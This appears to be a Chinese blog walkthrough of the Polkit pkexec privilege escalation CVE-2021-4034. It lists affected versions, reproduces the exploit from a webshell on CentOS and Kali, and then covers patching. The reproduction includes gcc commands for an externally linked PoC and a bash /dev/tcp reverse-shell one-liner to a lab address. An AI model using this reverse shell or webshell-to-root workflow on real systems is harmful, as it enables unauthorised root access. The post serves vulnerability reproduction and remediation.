CVE-2021-4034 Linux Polkit本地許可權提升漏洞
0x00 前言
公司放假兩天,突然一天下午,群裡面實驗室的大哥發了個通告,就是這個臭名昭著剛爆出來的漏洞。通殺目前市場上大多數Linux作業系統。隨後我看到各種微信公眾號紛紛發表文章,POC已經出現了很長時間了,在野利用肯定不少。
下面是官方通告:
//ubuntu.com/security/CVE-2021-4034
0x01 漏洞描述
Polkit 是用於在類 Unix 作業系統中控制系統範圍特權的組件。它為非特權進程提供了與特權進程進行通訊的有組織的方式。
CVE-2021-4034
polkit 的 pkexec 存在本地許可權提升漏洞,已獲得普通許可權的攻擊者可通過此漏洞獲取root許可權。
0x02 影響範圍
影響版本:由於 polkit 為系統預裝工具,目前主流Linux版本均受影響。
修復版本:
CentOS系列:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu系列:
Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1
0x03 漏洞原理
原理嘛,暫時先放放,實在是太難了,畢竟12年沒挖掘出來的漏洞,突然爆出來讓我來解釋原理,我肯定一臉蒙蔽啊。
0x04 漏洞復現
因為是提權性質的漏洞,所以基本上就是先拿到了webshell,然後再上傳POC進行提權的。網上有好多人直接將POC下載到系統中,然後直接在終端編譯後運行二進位文件,直接提權,這誰不會啊!但是實戰的時候你滲透就這麼用??肯定不符合常理。下面按照實戰來演示一下。
Centos7

1、蟻劍鏈接Centos7
2、下載POC並且上傳POC //github.com/sukusec301/Linux-pkexec_2021-4034-EXP,使用這個就行

3、上傳完畢後解壓縮

4、編譯
gcc CVE-2021-40340main.c -o exp
chmod +x exp
5、直接運行,發現不成功

6、反彈shell到kali上再重新運行,成功

ubuntu18.04 / kali
ubuntu的操作方式與kali一樣,這裡就示範一下KALI的

1、通過蟻劍先鏈接webshell

2、因為這裡網站根目錄無法上傳文件,切到/tmp下上傳文件即可,將POC解壓縮

3、隨後直接編譯並執行文件,執行失敗
gcc cve-2021-4034-poc.c -o exp

4、準備進行反彈shell:因為kali是一個ubuntu系統,所以先創建一個1.sh文件,然後在裡面寫上反彈shell的一句話。隨後在windows上nc監聽,kali上執行命令。可以看到成功反彈shell
1.sh
bash -c 'exec bash -i &>/dev/tcp/192.168.91.1/6666 <&1'
bash 1.sh

5、這時候在windows這個終端上面使用剛剛編譯好的exp,./exp,成功。

0x05 漏洞修復
具體詳細操作步驟詳細見這個網站://blog.51cto.com/56281688/4974950
目前各Linux發行版官方均已給出安全修補程式,建議用戶儘快升級至安全版本,或參照官方說明措施進行緩解,CentOS、Ubuntu及Debian用戶可參考以下鏈接:
//ubuntu.com/security/CVE-2021-4034
//access.redhat.com/security/cve/CVE-2021-4034
//security-tracker.debian.org/tracker/CVE-2021-4034
截止到目前2022/01/27, CentOS目前已提供安全更新包
漏洞徹底修復方法之在線升級
1、切換到root,直接執行下面這些命令
yum clean all && yum makecache
yum update polkit -y

2、再次執行exp,就會發現,無效

漏洞徹底修復方法之離線升級
下載rpm包。下載地址://mirror.centos.org/centos/7/updates/x86_64/Packages/(需掛代理,Ctrl+F搜索)

wget //mirror.centos.org/centos/7/updates/x86_64/Packages/polkit-0.112-26.el7_9.1.x86_64.rpm
rpm -Uvh polkit-0.112-26.el7_9.1.x86_64.rpm
rpm -aq | grep polkit #查看Polkit是否為安全版本
./cve-2021-4034-poc #驗證漏洞poc
[root@node03 src]# ls
cve-2021-4034-poc polkit-0.112-26.el7_9.1.x86_64.rpm sysinit.sh
[root@node03 src]# rpm -aq | grep polkit
polkit-pkla-compat-0.1-4.el7.x86_64
polkit-0.112-18.el7.x86_64
[root@node03 src]# rpm -Uvh polkit-0.112-26.el7_9.1.x86_64.rpm
Preparing... ################################# [100%]
Updating / installing...
1:polkit-0.112-26.el7_9.1 ################################# [ 50%]
Cleaning up / removing...
2:polkit-0.112-18.el7 ################################# [100%]
[root@node03 src]# rpm -aq | grep polkit
polkit-pkla-compat-0.1-4.el7.x86_64
polkit-0.112-26.el7_9.1.x86_64
[root@node03 src]# su - lianglab
Last login: Thu Jan 27 17:50:22 CST 2022 on pts/0
[lianglab@node03 <sub>]$ ls
[lianglab@node03 </sub>]$ cd /tmp/
[lianglab@node03 tmp]$ ./cve-2021-4034-poc
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
Report bugs to: //lists.freedesktop.org/mailman/listinfo/polkit-devel
polkit home page: <//www.freedesktop.org/wiki/Software/polkit>
[lianglab@node03 tmp]$

